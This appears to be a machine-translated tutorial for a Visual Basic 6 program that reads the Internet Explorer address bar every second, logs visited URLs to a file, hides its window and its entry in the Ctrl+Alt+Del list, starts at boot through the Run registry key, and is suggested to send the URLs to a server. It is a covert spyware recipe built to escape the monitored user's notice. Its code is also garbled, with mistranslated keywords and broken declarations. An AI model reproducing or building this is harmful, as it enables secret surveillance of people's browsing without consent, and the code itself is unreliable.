First, the program core
The core of this program obtains a window handle through the API function and obtains the URL accessible by the browser. On this basis, the Winsock control can be implemented remotely monitoring and management.
1. Create an engineering and declare the four API functions below in Window Form1 and two constants:
Option expedition private declare function findwindow lib "user32" alias "findwindowa" (Byval LpwindownAme As String) AS Long
The function of the 'FindWindow function is to find the handle of the URL address of the currently running IE window
Private Declare Function SendMessage Lib "User32" Alias "SendMessagea" (Byval HWnd As Long, Byval WParam As Long, LParam As Long) As long
The function of the 'SendMessage function is to send a message to the operating system.
Private Declare Function FindwindowEx Lib "User32" Alias "Findwindowexa" (Byval Hwnd2 As stay, Byval Lpsz1 AS String, BYVAL LPSZ2 AS STRING AS Long
The function of the 'FindWindowEx function is to find the handle of the child form
Private Declare Function SendMessageBystring Lib "User32" Alias "SendMessagea" (Byval Hwnd As Long, Byval WParam As String) AS Long
Private const wm_gettext = & hd
Private const wm_gettextLength = & HE
2. Add a Command Control on the form and name getURLString, click this command button, and add the following program code:
Private sub geturlstring_click ()
ON Error Goto Callerra
DIM sclassname as string 'Sets a string variable, which is a class variable
DIM LHWND As long 'Sets a long octave variable to receive function return values
DIM WINDOWHANDLE AS Long 'Sets a long-shaped variable to receive the return handle of the function
LHWND = 0
Sclassname = ("iframe")
LHWND = FindWindowEx (lhwnd, 0, sclassname, vbnullstring) gets the handle of the URL address bar to get the handle of the IE window.
Sclassname = ("workera")
lhwnd = findwindowex (lhwnd, 0, sclassname, vbnullstring) 'Get the handle of the workspace of the IE window
SclassName = ("Rebarwindow32")
LHWND = FINDWINDOWEX (lhwnd, 0, sclassname, vbnullstring) 'Gets the handle SclassName = ("ComboBoBoxEx32") of the menu bar of the IE window
lhwnd = findwindowex (lhwnd, 0, sclassname, vbnullstring) 'Get the handle of the drop-down menu of the IE window
SclassName = ("ComboBox")
LHWND = FINDWINDOWEX (lhwnd, 0, sclassname, vbnullstring) 'Get the handle of the drop-down menu of the IE window
SclassName = ("Edit")
lhwnd = findwindowex (lhwnd, 0, sclassname, vbnullstring) 'Get the edit box handle of this drop-down menu
Windowhandle = lhwnd 'Receives the handle of the current we want
DIM BUFFER AS STRING 'Settings String Variable Receive Current Strings
Dim TextLength As long 'Sets the length of the long plastic variable to receive strings
TextLength = SendMessage (WindowHandle, WM_GETTEXTLENGTH, 0 &, 0 &) 'Send the string length command in the address bar of the IE window to the system
Buffer = string (TextLength, 0) '
Call sendMessageBystring (WindowHandle, WM_GETTEXT, TEXTLENGTH 1, Buffer "Sends a string command in the IE form address bar to the system
If buffer = "" ""
Msgbox "Microsoft InternetExplorer browser is not running.", Vbokonly
Else
Msgbox Buffer 'IE Current URL
END IF
EXIT SUB
Callerroa:
MsgBox Err.Description
Err.clear
End Sub
Second, add a timed save function
We make a slight change on the above program, you can save the currently accessible URL to the file, which provides us with network monitoring.
1. Add a Timer Control Timer1 on the form and set its property INTERVAL to 1000, double-click this control, define the code as follows:
Private sub timer1_timer ()
GetURLString_Click
End Sub
2. Declaration part of the form code to define variables cururl
DIM Cururl As String
3. Write the string of the string in the buffer variable into the disk file with the file operation function, add the code as follows
Private sub flow_load ()
Open app.path & "testfile.txt" for Output Access Write AS # 1 'Opens a file end SUB
Private Sub Form_Queryunload (Cancel AS Integer, UnloadMode As Integer)
Close # 1 'Close the file that starts open
End Sub
And put the following part of GetURLString_Click ()
If buffer = "" ""
Msgbox "Microsoft InternetExplorer browser is not running.", Vbokonlylse
Msgbox Buffer 'IE Current URL
END IF
Change to the following code:
IF buffer <> "" and buffer <> cururl the
Write # 1, now & VBTAB & BUFFER
Cururl = buffer
END IF
Third, hidden operation
In order to prevent the program running on the client by the user, you can hide the form, and call the API function to disappear in the list of Ctrl Alt DEL, you need to register your own program as a server (Service), which can take the registerService API function The process ID of the program is registered. Use this API function again to cancel the server when the program exits. Methods as below:
1. Declaration part of the form declaration to add API functions and the required constant:
Private Declare Function GetCurrentProcessid LIB "kernel32" () AS Long
Private Declare Function GetCurrentProcess LIB "kernel32" () AS Long
Private Declare Function RegisterServiceProcess LIB "Kernel32" (Byval dwtype as long) AS Long
PRIVATE CONST RSP_SIMPLE_SERVICE = 1
Private const rsp_unregister_service = 0
2. Register for service and release registration procedures:
Add the following code to the start of the Form_Load event
DIM PID AS Long
DIM RESERV As Long
PID = getCurrentProcessId () gets the current process ID
Regserv = registerServiceProcess (PID, RSP_SIMPLE_SERVICE) 'Registered this program as service
Modify the form_queryunload event to the following code, that is, register the server to cancel the server at the end of the program
Private Sub Form_Queryunload (Cancel AS Integer, UnloadMode As Integer)
DIM PID AS Long
DIM RESERV As Long
Close # 1
PID = getcurrentprocessid ()
Regserv = RegisterServiceProcess (PID, RSP_UNREGOSTER_SERVICE)
End Sub
If the program is turned on, you need to compile the file to the executable to the executable to put it in a specific directory, and modify the registration form to run it, the path is HKEY_LOCAL_MACHINESOFTWARMICROSOFTWINDOWSCURRENTVERSONRUN, written with the API function to write a string type key value, And modify the content into your file name (including the path), of course, more practical features is to transfer access to the URL information timing to the server, and you need to use Winsock controls and timed transmission.